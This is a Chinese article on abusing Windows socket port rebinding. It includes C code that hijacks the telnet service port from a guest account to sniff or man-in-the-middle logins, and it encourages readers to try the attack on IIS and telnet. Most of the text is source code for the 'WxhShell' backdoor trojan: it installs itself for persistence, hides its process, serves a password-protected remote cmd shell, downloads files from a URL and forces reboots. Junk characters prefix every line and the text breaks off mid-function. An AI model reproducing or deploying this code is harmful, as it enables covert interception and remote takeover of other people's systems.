在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
J+b!6t}mZn s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
H5rPq_R P:(EU s}0 saddr.sin_family = AF_INET;
.L7Yf+yFg /^LH saddr.sin_addr.s_addr = htonl(INADDR_ANY);
*)bd1B# B9e.-Xaf bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
|Vwc/9`t]> g TXW2S 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
+K;Y+
K&;2 X#DL/#z k 这意味着什么?意味着可以进行如下的攻击:
')5L_$ wfDp,T3w7 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
lMwk.# [.;%\>Qk< 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Kr/h`RM N(:nF5>_ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
4e@&QOo`Cu H+VO.s.a 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
_7lt(f[S HX3D*2v": 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
],\sRQbv& IAP/G5'Q 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
C[xJU6z 1t~FW-: 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Y . {b'}:aMc #include
hG3m7ht #include
3+(yI 4 #include
]eYd8s+ #include
L/q]QgCoA DWORD WINAPI ClientThread(LPVOID lpParam);
]bTzbu@ int main()
& =73D1A {
x*me'?q WORD wVersionRequested;
4<T*i{[ DWORD ret;
SqXy;S@ WSADATA wsaData;
7deAr$?Wx BOOL val;
|Bx||=z` SOCKADDR_IN saddr;
eQU-&-wt0 SOCKADDR_IN scaddr;
Q`S iV int err;
V(;55ycr SOCKET s;
m7r j>X Y SOCKET sc;
W?qpnPW int caddsize;
uw Kh HANDLE mt;
VY/|WD~"CW DWORD tid;
j-J(C[[9 wVersionRequested = MAKEWORD( 2, 2 );
48tcgFg[ err = WSAStartup( wVersionRequested, &wsaData );
M*5,O if ( err != 0 ) {
`]`=]*d printf("error!WSAStartup failed!\n");
M=5d95*-} return -1;
]?0{(\ }
Nfv="t9e saddr.sin_family = AF_INET;
K,f* SXM \G$QNUU //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
@[MO,J&h kS B saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
VK2@2`$ saddr.sin_port = htons(23);
7hB#x]oQo if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
59{;VY81 {
X"h%tsuw printf("error!socket failed!\n");
-7>^
rR V return -1;
{TyCj?3 B }
1.'(nKoq val = TRUE;
Dv<wge` //SO_REUSEADDR选项就是可以实现端口重绑定的
AL>c:K)qO if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
R'6@n#: {
j4;Du>obQ printf("error!setsockopt failed!\n");
i@P 9EU return -1;
4|[<e-W }
U/ ?F:QD4 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
O(VxMO
//如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
tT;8r8@ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
u`'ki7LA "\}b!gl$8 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Q_ctX|. {
[6AHaOhR' ret=GetLastError();
Ri|k<io printf("error!bind failed!\n");
f:]u`ziM return -1;
8
AFMn[{ }
JC=dYP} listen(s,2);
di7A/B while(1)
Da-u-_~ {
B@-|b caddsize = sizeof(scaddr);
hZcmP"wgC1 //接受连接请求
\B_i$<Sz sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
zhNQuK,L if(sc!=INVALID_SOCKET)
?-e7e% {
WtIMvk mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
}N?g| if(mt==NULL)
wHx}U M" {
:^n*V6.4 printf("Thread Creat Failed!\n");
YWEYHr;%^? break;
6`acg'sk> }
:-z&Y492 }
K[kds` CloseHandle(mt);
a$d:_,\" }
G.E[6G3 closesocket(s);
aX|g S\zx WSACleanup();
Y?<)Dg.[ return 0;
Gb;99mE }
z&O#v9.NE| DWORD WINAPI ClientThread(LPVOID lpParam)
\.o=icOx {
# Mu<8`T- SOCKET ss = (SOCKET)lpParam;
^w.]Hd2 SOCKET sc;
w&%9IJ unsigned char buf[4096];
sa*g SOCKADDR_IN saddr;
gNqAj# m long num;
axX{6 DWORD val;
u t$c)_ DWORD ret;
mjbTy"}" //如果是隐藏端口应用的话,可以在此处加一些判断
$!f!,fw+ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
IroPx#s:i saddr.sin_family = AF_INET;
/0(%(2jIWl saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
*ot>WVB saddr.sin_port = htons(23);
FH.f- ZU if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
1I ""X]I_ {
CphFv!k'Z printf("error!socket failed!\n");
]Ko^G_Rm
return -1;
)IHG6}< }
Nb0Ik/:< val = 100;
O$^xkv5. if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
OZf6/10O/ {
Zae.MO^C! ret = GetLastError();
uQnT[\k? return -1;
H9U.lb }
{Ur7#h5 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
gljo;f: {
w8p8 ;@ ret = GetLastError();
GF*>~_Yr return -1;
\/ErPi=g }
eIH$"f;L if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
e?b)p5g {
5Q W}nRCZ printf("error!socket connect failed!\n");
ZWS2q4/S closesocket(sc);
802H$P^ps closesocket(ss);
V C-d0E0 return -1;
=> qTNh*' }
Us]=Y}( while(1)
M diwRi {
b?8)7.{F{ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
1fH<VgF` //如果是嗅探内容的话,可以再此处进行内容分析和记录
sef]>q //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
/N6}*0Ru num = recv(ss,buf,4096,0);
X d3}Vn= if(num>0)
@ &pqt6/t send(sc,buf,num,0);
rh66_eV else if(num==0)
E;9>ePd@ break;
&n:{x}Uc num = recv(sc,buf,4096,0);
3@_Elu if(num>0)
zyFUl% send(ss,buf,num,0);
Rb EKP(uw else if(num==0)
\9/RAY_G break;
a7#?h%wf }
eklgLU-+fW closesocket(ss);
]n;1x1' closesocket(sc);
&l m# return 0 ;
)"|||\Iv }
|0g{"}% 2}vNSQvG d$G}iJ8$mp ==========================================================
1y(UgEg \F{:5,Du) 下边附上一个代码,,WXhSHELL
:5b0np! ~E)fpGJ ==========================================================
WF[bO7: F'FP0t!S #include "stdafx.h"
'RbQj}@x * ?]~
# #include <stdio.h>
PX2c[CDE^ #include <string.h>
~e-z,:Af #include <windows.h>
UG](go't #include <winsock2.h>
u -3:k #include <winsvc.h>
[%pRfjM #include <urlmon.h>
g<wRN#B n<7u>;SJQ #pragma comment (lib, "Ws2_32.lib")
nS9wb1Zl #pragma comment (lib, "urlmon.lib")
_MuZ4tc 02=ls V!U #define MAX_USER 100 // 最大客户端连接数
r@kP* #define BUF_SOCK 200 // sock buffer
|ZiC`Nt #define KEY_BUFF 255 // 输入 buffer
%S \8. x`%JI=q #define REBOOT 0 // 重启
S\=1_LDx" #define SHUTDOWN 1 // 关机
-1u9t4+` .4-,_`T? #define DEF_PORT 5000 // 监听端口
n}?wVfEy \)/yC74r7( #define REG_LEN 16 // 注册表键长度
!5Sd2<N #define SVC_LEN 80 // NT服务名长度
y >+mc7n ?!'ZfQ:zK // 从dll定义API
iM]o"qOQm typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Nd@~>&F typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Ef)yQ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
*F`A S> typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
"@/62b hgj <>H| // wxhshell配置信息
'xE
_Cj struct WSCFG {
Fmr}o(q1 int ws_port; // 监听端口
t:)ERT") char ws_passstr[REG_LEN]; // 口令
e<cM[6H'D int ws_autoins; // 安装标记, 1=yes 0=no
!.TLW char ws_regname[REG_LEN]; // 注册表键名
:O= \<t char ws_svcname[REG_LEN]; // 服务名
wW>fVPr char ws_svcdisp[SVC_LEN]; // 服务显示名
@~ETj26U' char ws_svcdesc[SVC_LEN]; // 服务描述信息
y[?-@7i char ws_passmsg[SVC_LEN]; // 密码输入提示信息
~xLJe`"JUx int ws_downexe; // 下载执行标记, 1=yes 0=no
bZ1 78>J] char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
yuhnYR\`m char ws_filenam[SVC_LEN]; // 下载后保存的文件名
~*W!mlg SF*n1V3hx };
3W_PE+:Kr 2RM+W2!! // default Wxhshell configuration
])}(k struct WSCFG wscfg={DEF_PORT,
cC'x6\a "xuhuanlingzhe",
yR;{ 1,
Y>+y(ck "Wxhshell",
N!2Rl "Wxhshell",
nh>K`+>co "WxhShell Service",
cV{o?3<:B "Wrsky Windows CmdShell Service",
F4L;BjnJ "Please Input Your Password: ",
\Ae9\Jp8M 1,
YXo|~p;=Y "
http://www.wrsky.com/wxhshell.exe",
Z\}K{# "Wxhshell.exe"
T~_/Vi };
Av' GB CQh,~ // 消息定义模块
Q'O[R+YT , char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
y|wlq3o char *msg_ws_prompt="\n\r? for help\n\r#>";
^BQrbY char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
P
[Uy char *msg_ws_ext="\n\rExit.";
9ZXlR?GA char *msg_ws_end="\n\rQuit.";
uocHa5J char *msg_ws_boot="\n\rReboot...";
}a
AH char *msg_ws_poff="\n\rShutdown...";
ig}A9j?] char *msg_ws_down="\n\rSave to ";
\p{5D`HY \*f;X aa char *msg_ws_err="\n\rErr!";
e[_m<e char *msg_ws_ok="\n\rOK!";
qMt++*Ls R:Q0=PzDi# char ExeFile[MAX_PATH];
L2Pujk int nUser = 0;
uvP2Wgt HANDLE handles[MAX_USER];
YjOs}TD lx int OsIsNt;
' Z0r>. jw<pK4?y SERVICE_STATUS serviceStatus;
29CINC SERVICE_STATUS_HANDLE hServiceStatusHandle;
a]
= jO*l3:!~ \ // 函数声明
UhA"nt0 int Install(void);
@c9^q>Uv int Uninstall(void);
R218(8S int DownloadFile(char *sURL, SOCKET wsh);
k@ZLg9 int Boot(int flag);
xj5;: g#! void HideProc(void);
YW u cvw& int GetOsVer(void);
4lhw3,5 int Wxhshell(SOCKET wsl);
@Z>ZiU,^ void TalkWithClient(void *cs);
'52~$z#m int CmdShell(SOCKET sock);
w}Uhd, int StartFromService(void);
o*U]v
int StartWxhshell(LPSTR lpCmdLine);
!l]dR@e Wjhvxk VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
&nBa=Enf VOID WINAPI NTServiceHandler( DWORD fdwControl );
J]f3CU,<N e@:sR // 数据结构和表定义
_4^R9Bt SERVICE_TABLE_ENTRY DispatchTable[] =
l2N]a9bq@ {
(jU6GJRP {wscfg.ws_svcname, NTServiceMain},
0cK{ {NULL, NULL}
E|'h]NY };
M@0;B30L )jrV#/m9 // 自我安装
/|6;Z}2 int Install(void)
g~(E>6Y {
2^8%>, char svExeFile[MAX_PATH];
jReXyRmo({ HKEY key;
Xp0F
[>h strcpy(svExeFile,ExeFile);
34\(7JO p-.n3AL // 如果是win9x系统,修改注册表设为自启动
!uQPc if(!OsIsNt) {
(Jz;W<E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Reatdh RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
S[WG$ RegCloseKey(key);
&gzCteS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
e[hcJz!D RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
`{qG1 RegCloseKey(key);
[JF150zr return 0;
g=I8@m }
)iFJz/n> }
/cU<hApK }
Um&(&?Xf else {
J9~g|5 {e|[%reSkg // 如果是NT以上系统,安装为系统服务
"
Hd|7F'u= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
YnLErJ if (schSCManager!=0)
\hCH>*x< {
{%_L=2n6 SC_HANDLE schService = CreateService
"etPT@gF (
V+O"j^Z_J schSCManager,
9K1oZ?)_z wscfg.ws_svcname,
RjN{%YkXe wscfg.ws_svcdisp,
rtc9wu SERVICE_ALL_ACCESS,
"~'b SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
g) -bW+]q SERVICE_AUTO_START,
_3ZYtmn. SERVICE_ERROR_NORMAL,
"I(xgx* svExeFile,
i':C)7 NULL,
cTG|fdgMW NULL,
hP15qKy NULL,
W*2U="t NULL,
TqnTS0fx NULL
>y,-v:Vy );
%n*-VAfE\ if (schService!=0)
D-c`FG' {
K.0:C`C CloseServiceHandle(schService);
qT+%;( CloseServiceHandle(schSCManager);
MdW]MW{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
&Y }N|q- strcat(svExeFile,wscfg.ws_svcname);
-,U3fts if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
aTt12Sc RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
'*3h!lW1. RegCloseKey(key);
kBffF@{
return 0;
?nL.w }
d@qsdYu-* }
>D4#y CloseServiceHandle(schSCManager);
d QqK^# }
Oeok; : }
w4gJoxY-` /HaHH.e return 1;
9E6_]8rl }
`E>1>' [EKQR>s) // 自我卸载
"yS _s int Uninstall(void)
K57&yVX {
qw^uPs7Uw HKEY key;
adR)Uq9 p9x(D/YP0 if(!OsIsNt) {
5rU[Tir if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
OOo3G~2r RegDeleteValue(key,wscfg.ws_regname);
0.@&_XTPl RegCloseKey(key);
"/wyZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
h-[VH% RegDeleteValue(key,wscfg.ws_regname);
y2^Y/)
RegCloseKey(key);
jWrj?DV,2N return 0;
qHrc9fB }
;'cN<x)%| }
VcXq?f>\ }
()6wvu} else {
32`{7a3!= V)[@98T_4? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
j3{D^|0bP if (schSCManager!=0)
V T\F]Oa# {
o%IA}e7PAa SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
{y_98N if (schService!=0)
*=V~YF:Qb {
#
mV{#B= if(DeleteService(schService)!=0) {
*Qg _F6y CloseServiceHandle(schService);
>LOjV0K/
CloseServiceHandle(schSCManager);
pu2tY7Ja return 0;
)mF5Vw" }
N/MUwx;P CloseServiceHandle(schService);
8; 0A
g }
&B6Ep6QS CloseServiceHandle(schSCManager);
f,018]| }
6G[4rD& }
.K1FKC$C 8@MV%MVy$ return 1;
xLK<W"%0 }
V3^&oe% ?#}N1k\S // 从指定url下载文件
=A83W/4 int DownloadFile(char *sURL, SOCKET wsh)
xdp`<POn% {
R#%(5-Zu#R HRESULT hr;
6\g cFfo char seps[]= "/";
YQj 2 char *token;
@$[?z9ck" char *file;
NQJq6S4@ char myURL[MAX_PATH];
[OC5l> char myFILE[MAX_PATH];
E2R&[Q"% 6ZP(E^. strcpy(myURL,sURL);
MygfT[_ token=strtok(myURL,seps);
jIC_[ while(token!=NULL)
%C|n9* {
'"SEw
w file=token;
O$_)G\\\m token=strtok(NULL,seps);
|}=acc/ }
_Xk.p_uh -?V-*jI GetCurrentDirectory(MAX_PATH,myFILE);
5Co strcat(myFILE, "\\");
F8jd'OR strcat(myFILE, file);
f4 P8Oz send(wsh,myFILE,strlen(myFILE),0);
I|gB@|_~ send(wsh,"...",3,0);
&$`P,i 1) hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
F \KjEl0 if(hr==S_OK)
vq(0OPj8r[ return 0;
|H;F7Y_ else
,JAx
?Xb return 1;
6-$jkto =;Rtdy/Yn% }
QbkLdM,S* {.C!i{| // 系统电源模块
5:Z0Pt int Boot(int flag)
;z}i-cNae {
B+\3-q HANDLE hToken;
D~S<U TOKEN_PRIVILEGES tkp;
^o3"#r{:+ Ve}(s?hU5 if(OsIsNt) {
GpY"fc% OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
w$zu~/qV2 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
3x{t( tkp.PrivilegeCount = 1;
oM2l-[- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Wh+{mvu# AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
I&}L*Z?` if(flag==REBOOT) {
e!N:,`R
5 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
BTGvN% return 0;
[^Os kJ4 }
52:HNA\E/ else {
m0ER@BXRn if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
3er nTD*` return 0;
$HHs ^tW }
+b0eE) }
~.{/0T else {
DS+}UO if(flag==REBOOT) {
:ubV }; if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
4>F'oqFF return 0;
0m%|U'm|j }
ub^h&=\S else {
~$Tkn_w# if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
<"{qk2LS1 return 0;
Uzz'.K(Mv| }
rI= v }
be]bZ
1f & ?h#Z! return 1;
s.bc>E0
}
1C}NQ!. .k,1f*% // win9x进程隐藏模块
ciBP7>':: void HideProc(void)
h`KFL/fT {
hn5h\M? Zn&,
t &z HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
K0-ypU*P if ( hKernel != NULL )
HePUWL' {
>80;8\ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
HW3 }uP\c ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
)j9SGLo FreeLibrary(hKernel);
hL/)|N~ }
xSktg]u Se O@u?h9?cf> return;
]op}y0 }
7mI:|G D^yRaP*|7 // 获取操作系统版本
=5J7Hw&K int GetOsVer(void)
e<3K;Q {
?I6fye7 OSVERSIONINFO winfo;
C7rNV0.Fq winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
zMj#KA1 GetVersionEx(&winfo);
En~5"yW5>] if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
wW7eT~w return 1;
_-q.Q^ else
pWy=W&0~qf return 0;
YLqGRE`W }
$bW3_rl%X L^E[J` // 客户端句柄模块
Z,sv9{4r int Wxhshell(SOCKET wsl)
?oVx2LdD| {
YPU*@l> SOCKET wsh;
`z{%(_+[ struct sockaddr_in client;
)U~=Pf" DWORD myID;
'qZW,],5 l==`` while(nUser<MAX_USER)
N >FKy'.gk {
!TAlBkj int nSize=sizeof(client);
f%SZg!+t wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
=d".|k if(wsh==INVALID_SOCKET) return 1;
0"kbrv2y XRcq hv handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
{_7i8c<s= if(handles[nUser]==0)
?3nR closesocket(wsh);
CnpV:>V= else
*!q1Kr6r nUser++;
C`$n[kCJ }
l n{e1':$" WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
8K.R= aoTM return 0;
dYT% }
6VS4y-N 3vuivU.3 // 关闭 socket
igkYX!0#8O void CloseIt(SOCKET wsh)
5]NqRI^0 {
[BWNRC1 closesocket(wsh);
fmQ_P.c nUser--;
BcL{se9< ExitThread(0);
~<O7$~ }
:yRo3c k[bD\' // 客户端请求句柄
@JtM5qB void TalkWithClient(void *cs)
J#w
J4! {
}T; P~aG Tu$f? SOCKET wsh=(SOCKET)cs;
Wl B char pwd[SVC_LEN];
tmv&U;0Z char cmd[KEY_BUFF];
Fpm|_f7 char chr[1];
y`\@N"Cf int i,j;
fa++MNf}3 Ir
{OheJ while (nUser < MAX_USER) {
ruc++@J@ xAK6pDp if(wscfg.ws_passstr) {
lt
^GvWg if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
FoNSM$x //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
0O9Ni='Tn //ZeroMemory(pwd,KEY_BUFF);
>OL 3H$F i=0;
/q<__N while(i<SVC_LEN) {
&:/hrighH TV<'8L // 设置超时
R%{a1r>9h fd_set FdRead;
Rtb7| struct timeval TimeOut;
K@sV\"U(*E FD_ZERO(&FdRead);
IEXt: FD_SET(wsh,&FdRead);
'9S8}q TimeOut.tv_sec=8;
!
='rc-E TimeOut.tv_usec=0;
'JCZ]pZ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
VXYK?Qc' if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
S& SQ OHeT,@(mh if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
[Grxw[(_: pwd
=chr[0]; T+*%?2>q"
if(chr[0]==0xd || chr[0]==0xa) { 6%t1b M
a
pwd=0; o<[#0T^K
break; *G{^|z
} ePr&!Tz#
i++; C"!gZ8*\!9
} o9JMH.G
v*;-yG&
// 如果是非法用户,关闭 socket ex::m&
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]b\yg2
} q?4p)@#
-n=^U
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ont%eC\
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `}(b2Hc>
Jz7!4mu
while(1) { e8pG"`wM8
F ~^Jmp7Y
ZeroMemory(cmd,KEY_BUFF); `V`lo,"\
ht2\ y&si
// 自动支持客户端 telnet标准 AfX}y+Ah
j=0; ,u+PyG7 cb
while(j<KEY_BUFF) { Bk*F_>X"
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3on7~*
cmd[j]=chr[0];
{zn!vJX
if(chr[0]==0xa || chr[0]==0xd) { eM$s v9?
cmd[j]=0; 0vtt"f)Y[
break; VKq=7^W
} :pGaFWkvO
j++; N>XS=2tzN
} $})g?Q
r[BVvX/,F
// 下载文件 l8I /0`_
if(strstr(cmd,"http://")) { swK-/$#
send(wsh,msg_ws_down,strlen(msg_ws_down),0); F({HP)9b
if(DownloadFile(cmd,wsh)) Fh`~`eog
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /W>iJfx
else $oj:e?8N
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PmKeF}
} %>~sJ0
else { 4kBaB
2 lj'"nm
switch(cmd[0]) { ^Pbk#|$rU
<,[cQ I/
// 帮助 8n'B6hi
case '?': { 7JEbH?lEN
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wgamshm"d
break; 'eLqlu|T
} M_"L9^^>N
// 安装 q1QL@Ax
case 'i': { ZUoxMm
if(Install()) \6R,Nq
send(wsh,msg_ws_err,strlen(msg_ws_err),0); w8MG(Lq1"
else @JD;k>
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QR%mj*@Wle
break; 2w["aVr
=
} $wo?!gt
// 卸载 }T&iewk
case 'r': { NYrQ$N"
if(Uninstall()) v6>_ j
L
send(wsh,msg_ws_err,strlen(msg_ws_err),0); | # 47O
else \QYFAa
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5*Y^\N
break; 9~p[
} L<ue$'
// 显示 wxhshell 所在路径 ]ooIrY8
case 'p': { )}"wesNo".
char svExeFile[MAX_PATH]; _#r+ !e
strcpy(svExeFile,"\n\r"); E`?3PA8
strcat(svExeFile,ExeFile); [co% :xJu
send(wsh,svExeFile,strlen(svExeFile),0); gP0LCK>
break; Bj1?x
} {]%0lf:
// 重启 \l9qt5rS
case 'b': { >'&p>Ad)
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]Q>.HH
if(Boot(REBOOT)) m 8aITd8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [_1G@S6Ex
else { PE5R7)~A
closesocket(wsh); +RyjF~[e
ExitThread(0); VXR>]HUF
} "#{4d),r
break; z^#;~I @M
} KX'{[7}m'
// 关机 *7ZN]/VRT
case 'd': { a1_GIM0
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AlAY iUw{
if(Boot(SHUTDOWN)) 9}PhN<Gd
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @~YYD#'vNY
else { \$*7 >`k
closesocket(wsh); ]x(e&fyHB
ExitThread(0);
|8My42yf
} u~WVGjoQ
break; EfCx`3~EX
} Hn5|B 3vN
// 获取shell @d
mV
case 's': { Exc9`
7%.
CmdShell(wsh); va}Pj#=
closesocket(wsh); G!>z;5KuS
ExitThread(0); e\!0<d
break; t!r A%*
} ihIVUu-M
// 退出 \=:~ki=@B
case 'x': { )qo {c1X
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d@XV:ae
CloseIt(wsh); +n{#V;J
break; gcdlT7F)b-
} CG Y]r.O*
// 离开 -f% '
case 'q': { q*_/to
send(wsh,msg_ws_end,strlen(msg_ws_end),0); %oZ6l*
closesocket(wsh); 925|bX6I
WSACleanup(); }BZ"S-hZ
exit(1); BG6B :
break; `(_s|-$
} KH(%?
} gMWjk7
} <}<zgOT[1!
=cm~vDl[
// 提示信息 }o(zj=7
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MvK !u
} PIu1+k.r?
} yku5SEJ\
0
q}*S~
return; vms|x wb
} $~VRza 8Q
K
1 a\b"
// shell模块句柄 lij.N)E
int CmdShell(SOCKET sock) bdC8zDD
{ mS(fgq6
STARTUPINFO si; UNom-
ZeroMemory(&si,sizeof(si)); Ta(Y:*Ri
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [d(U38BI
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nbm&wa[
PROCESS_INFORMATION ProcessInfo; +av@$}
char cmdline[]="cmd"; W6?pswQ
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v"b+$*
return 0; }1Gv)l7
} Cd,jDPrw
FbS|~Rp~
// 自身启动模式 gW>uR3Ca4
int StartFromService(void) gQ'zW
{ oU056
typedef struct g!lWu[d
{ H`1{_
DWORD ExitStatus; o4m\~as)Y
DWORD PebBaseAddress; O_wEcJPE
DWORD AffinityMask; sz:g,}~h
DWORD BasePriority; fVF2-Rh=
ULONG UniqueProcessId; n>ULRgiT:o
ULONG InheritedFromUniqueProcessId; WY?[,_4U
} PROCESS_BASIC_INFORMATION; (.D~0a JU
Si8pzd
